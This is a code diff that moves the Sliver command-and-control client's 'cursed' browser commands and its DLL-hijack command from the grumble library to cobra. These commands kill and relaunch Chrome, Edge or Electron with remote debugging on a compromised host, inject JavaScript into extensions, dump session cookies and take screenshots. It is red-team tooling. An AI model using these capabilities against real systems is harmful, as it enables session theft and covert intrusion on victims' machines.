Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: chromePath,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -401,7 +401,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumb
|
||||
}
|
||||
|
||||
func isChromeProcess(executable string) bool {
|
||||
var chromeProcessNames = []string{
|
||||
chromeProcessNames := []string{
|
||||
"chrome", // Linux
|
||||
"google-chrome", // Linux
|
||||
"chromium-browser", // Linux
|
||||
@@ -416,9 +416,9 @@ func isChromeProcess(executable string) bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
func getChromeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
@@ -22,19 +22,19 @@ import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/desertbit/readline"
|
||||
"github.com/reeflective/readline"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
@@ -55,7 +55,7 @@ func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
startCursedConsole(curse, true, target, con)
|
||||
}
|
||||
|
||||
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
|
||||
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverClient) *overlord.ChromeDebugTarget {
|
||||
if len(targets) < 1 {
|
||||
con.PrintErrorf("No debug targets\n")
|
||||
return nil
|
||||
@@ -71,12 +71,8 @@ func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.Sliver
|
||||
table.Flush()
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a debug target:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
err := forms.Select("Select a debug target:", options, &selected)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -89,26 +85,19 @@ func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.Sliver
|
||||
return &selectedTarget
|
||||
}
|
||||
|
||||
var (
|
||||
helperHooks = []string{
|
||||
"console.log = (...a) => {return a;}", // console.log
|
||||
}
|
||||
)
|
||||
var helperHooks = []string{
|
||||
"console.log = (...a) => {return a;}", // console.log
|
||||
}
|
||||
|
||||
func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
|
||||
tmpFile, _ := ioutil.TempFile("", "cursed")
|
||||
reader, err := readline.NewEx(&readline.Config{
|
||||
Prompt: "\033[31mcursed »\033[0m ",
|
||||
HistoryFile: tmpFile.Name(),
|
||||
// AutoComplete: nil,
|
||||
InterruptPrompt: "^C",
|
||||
EOFPrompt: "exit",
|
||||
HistorySearchFold: true,
|
||||
// FuncFilterInputRune: filterInput,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to create read line: %s\n", err)
|
||||
return
|
||||
func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverClient) {
|
||||
tmpFile, _ := os.CreateTemp("", "cursed")
|
||||
shell := readline.NewShell()
|
||||
shell.History.AddFromFile("cursed history", tmpFile.Name())
|
||||
shell.Prompt.Primary(func() string { return "\033[31mcursed »\033[0m " })
|
||||
// EOFPrompt: "exit",
|
||||
|
||||
if con.Settings.VimMode {
|
||||
shell.Config.Set("editing-mode", "vi")
|
||||
}
|
||||
|
||||
if helpers {
|
||||
@@ -123,8 +112,9 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
|
||||
}
|
||||
|
||||
con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
|
||||
|
||||
for {
|
||||
line, err := reader.Readline()
|
||||
line, err := shell.Readline()
|
||||
if err == readline.ErrInterrupt {
|
||||
if len(line) == 0 {
|
||||
break
|
||||
@@ -134,8 +124,8 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
|
||||
} else if err == io.EOF {
|
||||
break
|
||||
}
|
||||
switch strings.TrimSpace(line) {
|
||||
|
||||
switch strings.TrimSpace(line) {
|
||||
case ":help":
|
||||
con.Println()
|
||||
con.Println("Available commands:")
|
||||
@@ -145,7 +135,7 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
|
||||
con.Println()
|
||||
|
||||
case ":file":
|
||||
jsCode, err := ioutil.ReadFile(line)
|
||||
jsCode, err := os.ReadFile(line)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
continue
|
||||
|
||||
@@ -20,16 +20,17 @@ package cursed
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"encoding/json"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
@@ -46,24 +47,24 @@ func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if len(cookies) == 0 {
|
||||
return
|
||||
}
|
||||
saveFile := ctx.Flags.String("save")
|
||||
|
||||
saveFile, _ := cmd.Flags().GetString("save")
|
||||
if saveFile == "" {
|
||||
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
|
||||
}
|
||||
jsonCookies := []string{}
|
||||
for _, cookie := range cookies {
|
||||
jsonCookie, err := cookie.MarshalJSON()
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
|
||||
continue
|
||||
}
|
||||
jsonCookies = append(jsonCookies, string(jsonCookie))
|
||||
|
||||
jsonBytes, err := json.MarshalIndent(cookies, "", " ")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to marshal cookies: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
|
||||
|
||||
err = os.WriteFile(saveFile, jsonBytes, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save cookies: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Saved to %s", saveFile)
|
||||
con.Println()
|
||||
}
|
||||
@@ -20,38 +20,38 @@ package cursed
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory.
|
||||
func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadPath := ctx.Flags.String("payload")
|
||||
payloadPath, _ := cmd.Flags().GetString("payload")
|
||||
var payload []byte
|
||||
var err error
|
||||
if payloadPath != "" {
|
||||
payload, err = ioutil.ReadFile(payloadPath)
|
||||
payload, err = os.ReadFile(payloadPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not read payload file: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
curse := avadaKedavraEdge(session, ctx, con)
|
||||
curse := avadaKedavraEdge(session, cmd, con, args)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
@@ -79,10 +79,10 @@ func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
||||
con.PrintInfof("Injecting payload ... ")
|
||||
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
|
||||
// defer cancel()
|
||||
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
_, err = overlord.ExecuteJS(cmd, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -94,8 +94,8 @@ func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
edgeProcess, err := getEdgeProcess(session, ctx, con)
|
||||
func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess {
|
||||
edgeProcess, err := getEdgeProcess(session, cmd, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -106,7 +106,7 @@ func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *cons
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
|
||||
err = forms.Confirm("Kill and restore existing Edge process?", &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -116,7 +116,7 @@ func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *cons
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Pid: edgeProcess.GetPid(),
|
||||
})
|
||||
if err != nil {
|
||||
@@ -128,7 +128,7 @@ func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *cons
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedChromeProcess(true, session, ctx, con)
|
||||
curse, err := startCursedChromeProcess(true, session, cmd, con, cargs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -137,7 +137,7 @@ func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *cons
|
||||
}
|
||||
|
||||
func isEdgeProcess(executable string) bool {
|
||||
var edgeProcessNames = []string{
|
||||
edgeProcessNames := []string{
|
||||
"msedge", // Linux
|
||||
"microsoft-edge", // Linux
|
||||
"msedge.exe", // Windows
|
||||
@@ -151,9 +151,9 @@ func isEdgeProcess(executable string) bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
func getEdgeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
@@ -22,34 +22,34 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
insecureRand "math/rand"
|
||||
"path"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/client/tcpproxy"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CursedElectronCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
electronExe := ctx.Flags.String("exe")
|
||||
electronExe, _ := cmd.Flags().GetString("exe")
|
||||
if electronExe == "" {
|
||||
con.PrintErrorf("Missing --exe flag, see --help\n")
|
||||
return
|
||||
}
|
||||
|
||||
curse := avadaKedavraElectron(electronExe, session, ctx, con)
|
||||
curse := avadaKedavraElectron(electronExe, session, cmd, con, args)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
@@ -67,8 +67,8 @@ func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
|
||||
}
|
||||
|
||||
func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
exists, err := checkElectronPath(electronExe, session, ctx, con)
|
||||
func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess {
|
||||
exists, err := checkElectronPath(electronExe, session, cmd, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return nil
|
||||
@@ -77,7 +77,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *gr
|
||||
con.PrintErrorf("Executable path does not exist: %s", electronExe)
|
||||
return nil
|
||||
}
|
||||
electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
|
||||
electronProcess, err := checkElectronProcess(electronExe, session, cmd, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -88,7 +88,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *gr
|
||||
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
|
||||
err = forms.Confirm("Kill and restart the process?", &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -98,7 +98,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *gr
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Pid: electronProcess.Pid,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -110,7 +110,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *gr
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
|
||||
curse, err := startCursedElectronProcess(electronExe, session, cmd, con, cargs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -118,9 +118,9 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *gr
|
||||
return curse
|
||||
}
|
||||
|
||||
func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
|
||||
func checkElectronPath(electronExe string, _ *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (bool, error) {
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: electronExe,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -129,9 +129,9 @@ func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumb
|
||||
return ls.GetExists(), nil
|
||||
}
|
||||
|
||||
func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -147,21 +147,21 @@ func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *gr
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
|
||||
func startCursedElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) (*core.CursedProcess, error) {
|
||||
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
|
||||
debugPort := getRemoteDebuggerPort(ctx)
|
||||
debugPort := getRemoteDebuggerPort(cmd)
|
||||
args := []string{
|
||||
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
|
||||
}
|
||||
additionalArgs := ctx.Args.StringList("args")
|
||||
if len(additionalArgs) > 0 {
|
||||
args = append(args, additionalArgs...)
|
||||
|
||||
if len(cargs) > 0 {
|
||||
args = append(args, cargs...)
|
||||
}
|
||||
|
||||
// Execute the Chrome process with the extra flags
|
||||
// TODO: PPID spoofing, etc.
|
||||
electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: electronExe,
|
||||
Args: args,
|
||||
Output: false,
|
||||
@@ -175,7 +175,7 @@ func startCursedElectronProcess(electronExe string, session *clientpb.Session, c
|
||||
con.PrintInfof("Waiting for process to initialize ... ")
|
||||
time.Sleep(2 * time.Second)
|
||||
|
||||
bindPort := insecureRand.Intn(10000) + 40000
|
||||
bindPort := util.Intn(10000) + 40000
|
||||
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
|
||||
|
||||
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
|
||||
@@ -213,21 +213,3 @@ func startCursedElectronProcess(electronExe string, session *clientpb.Session, c
|
||||
|
||||
return curse, nil
|
||||
}
|
||||
|
||||
func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if isChromeProcess(process.GetExecutable()) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -20,25 +20,31 @@ package cursed
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strconv"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CursedRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
kill := ctx.Flags.Bool("kill")
|
||||
bindPort := ctx.Args.Int("bind-port")
|
||||
bindPort, err := strconv.Atoi(args[0])
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse bind port argument: %s (%s)", args[0], err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
kill, _ := cmd.Flags().GetBool("kill")
|
||||
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
|
||||
if kill {
|
||||
confirm := false
|
||||
err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
|
||||
err := forms.Confirm("Kill the cursed process?", &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
@@ -60,7 +66,7 @@ func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Pid: int32(cursedProc.PID),
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -20,15 +20,15 @@ package cursed
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CursedScreenshotCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
@@ -46,7 +46,7 @@ func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
|
||||
quality := ctx.Flags.Int64("quality")
|
||||
quality, _ := cmd.Flags().GetInt64("quality")
|
||||
if quality < 1 || quality > 100 {
|
||||
con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
|
||||
return
|
||||
@@ -56,11 +56,11 @@ func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.PrintErrorf("Failed to take screenshot: %s\n", err)
|
||||
return
|
||||
}
|
||||
saveFile := ctx.Flags.String("save")
|
||||
saveFile, _ := cmd.Flags().GetString("save")
|
||||
if saveFile == "" {
|
||||
saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
|
||||
}
|
||||
err = ioutil.WriteFile(saveFile, data, 0644)
|
||||
err = os.WriteFile(saveFile, data, 0o644)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save screenshot: %s\n", err)
|
||||
return
|
||||
|
||||
@@ -21,21 +21,21 @@ package cursed
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
insecureRand "math/rand"
|
||||
"strconv"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory.
|
||||
func CursedCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
// Collect existing curses from core
|
||||
cursedProcesses := [][]string{}
|
||||
core.CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
@@ -70,8 +70,8 @@ func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
// selectCursedProcess - Interactively select a cursed process from a list
|
||||
func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
// selectCursedProcess - Interactively select a cursed process from a list.
|
||||
func selectCursedProcess(con *console.SliverClient) *core.CursedProcess {
|
||||
cursedProcesses := []*core.CursedProcess{}
|
||||
core.CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
|
||||
@@ -95,12 +95,8 @@ func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
table.Flush()
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a curse:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
err := forms.Select("Select a curse:", options, &selected)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -112,10 +108,10 @@ func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
return port2process[selectedPortNumber]
|
||||
}
|
||||
|
||||
func getRemoteDebuggerPort(ctx *grumble.Context) int {
|
||||
port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
|
||||
func getRemoteDebuggerPort(cmd *cobra.Command) int {
|
||||
port, _ := cmd.Flags().GetInt("remote-debugging-port")
|
||||
if port == 0 {
|
||||
port = insecureRand.Intn(30000) + 10000
|
||||
port = util.Intn(30000) + 10000
|
||||
}
|
||||
return port
|
||||
}
|
||||
@@ -1,4 +1,10 @@
|
||||
DLL Hijack
|
||||
===========
|
||||
# client/command/dllhijack
|
||||
|
||||
Implements command related to `dllhijack`.
|
||||
## Overview
|
||||
|
||||
Implements the 'dllhijack' command group for the Sliver client console.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `commands.go` – Registers the dllhijack command, its flags, and completions for selecting remote DLL targets.
|
||||
- `dllhijack.go` – Performs the RPC call that plants a Sliver DLL alongside a target executable for hijacking.
|
||||
@@ -0,0 +1,43 @@
|
||||
package dllhijack
|
||||
|
||||
import (
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
)
|
||||
|
||||
// Commands returns the “ command and its subcommands.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
dllhijackCmd := &cobra.Command{
|
||||
Use: consts.DLLHijackStr,
|
||||
Short: "Plant a DLL for a hijack scenario",
|
||||
Long: help.GetHelpFor([]string{consts.DLLHijackStr}),
|
||||
GroupID: consts.ExecutionHelpGroup,
|
||||
Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
DllHijackCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, dllhijackCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("reference-path", "r", "", "Path to the reference DLL on the remote system")
|
||||
f.StringP("reference-file", "R", "", "Path to the reference DLL on the local system")
|
||||
